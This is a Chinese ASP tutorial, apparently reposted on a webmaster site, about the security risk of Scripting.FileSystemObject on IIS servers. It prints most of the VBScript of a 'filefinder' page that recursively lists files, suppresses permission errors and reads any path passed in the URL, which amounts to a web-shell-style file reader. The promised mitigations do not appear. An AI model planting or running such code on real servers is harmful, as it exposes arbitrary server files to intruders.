ASP中FSO人员对IIS WEB平台器数据管理的威胁及解决办法
发布时间:2023-09-04 14:09:12 所属栏目:Asp教程 来源:
导读:scripting.filesystemobject 对象是由 scrrun.dll 提供的许多供 vbscript/jscript 控制的 com 对象之一。scripting.filesystemobject 提供了非常便利的文本文件和文件目录的访问,但是同时也对 iis web 服务器数据安
scripting.filesystemobject 对象是由 scrrun.dll 提供的许多供 vbscript/jscript 控制的 com 对象之一。scripting.filesystemobject 提供了非常便利的文本文件和文件目录的访问,但是同时也对 iis web 服务器数据安全造成了一定的威胁。 filefinder 的代码很简单,由3 个函数和 30 行左右的顺序代码构成。 最关键的是 findfiles 函数,通过对它的递归调用实现对某个目录的遍历,并且按照特定的文件扩展名来搜寻这些文件。 function findfiles(strstartfolder, strext) dim n dim othisfolder dim ofolders dim ofiles dim ofolder dim ofile ' 如果系统管理员对文件系统的权限进行细致的设置话,下面的代码就要出错 ' 但是有些目录还是可以察看的,所以我们简单的把错误忽略过去 on error resume next n = 0 response.write "<b>searching " & strstartfolder & "</b><br>" set othisfolder = g_fs.getfolder(strstartfolder) set ofiles = othisfolder.files for each ofile in ofiles ' 如果是指定的文件扩展名,输出连接导向本身,但用不同的命令 cmd ' 在这里是 cmd=read,即读出指定物理路径的文本文件 if issuffix(ofile.path, strext) then response.write "<a target=_blank href='ff.asp?cmd=read&path=" & server.htmlencode(ofile.path) & "'><font color='dodgerblue'>" & ofile.path & "</font></a><br>" if err = 0 then n = n + 1 end if end if next set ofolders = othisfolder.subfolders for each ofolder in ofolders n = n + findfiles(ofolder.path, strext) next findfiles = n end function 下面的代码是对 url 后面的参数进行分析: ' 读出各个参数的值 strcmd = ucase(request.querystring("cmd")) strpath = request.querystring("path") strext = request.querystring("ext") brawdata = ucase(request.querystring("raw")) ' 默认搜索 .asp 文件 if strpath = "" then strpath = "." end if if strext = "" then strext = ".asp" end if ' 根据不同的命令 cmd 执行不同的代码 select case strcmd case "find" response.write findfiles(strpath, strext) & " file(s) found" case "read" if brawdata = "t" then response.write readtextfile(strpath) else response.write "<pre>" & server.htmlencode(readtextfile(strpath)) & "</pre>" end if case else response.write "<h3>please specify a command to execute</h3>" end select 从上面的分析可以看出,如果有足够的权限的话,我们就可以通过 filefinder 来查找 iis web 服务器上的任意文本文件,并且可以轻松的察看文件内容。对于非文本文件,可以确定他们是否存在及其所在路径,这对于高级 hacker 们来说,这些信息有时是极其重要的。 (编辑:聊城站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
推荐文章
站长推荐